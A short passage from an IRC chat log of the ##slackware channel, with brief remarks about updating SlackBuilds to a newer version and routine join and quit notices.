be able to set up the latest on this friend's laptop before I hand it back to him [23:11] slackmagic: It should be easy enough to adjust the slackbuilds to the newest version [23:12] vhann (~vhann@vl102-res-out.collegeahuntsic.qc.ca) joined ##slackware. [23:14] rv2733 (~rv2733@c-98-242-168-49.hsd1.fl.comcast.net) left irc: Quit: Leaving [23:16] FriedBob: FriedBob yep agreed, it's time to get busy [23:19] Twice-FriedBob. [23:22] Motoko-chan (~maoyama@pool-71-254-176-19.lsanca.fios.verizon.net) joined ##slackware. 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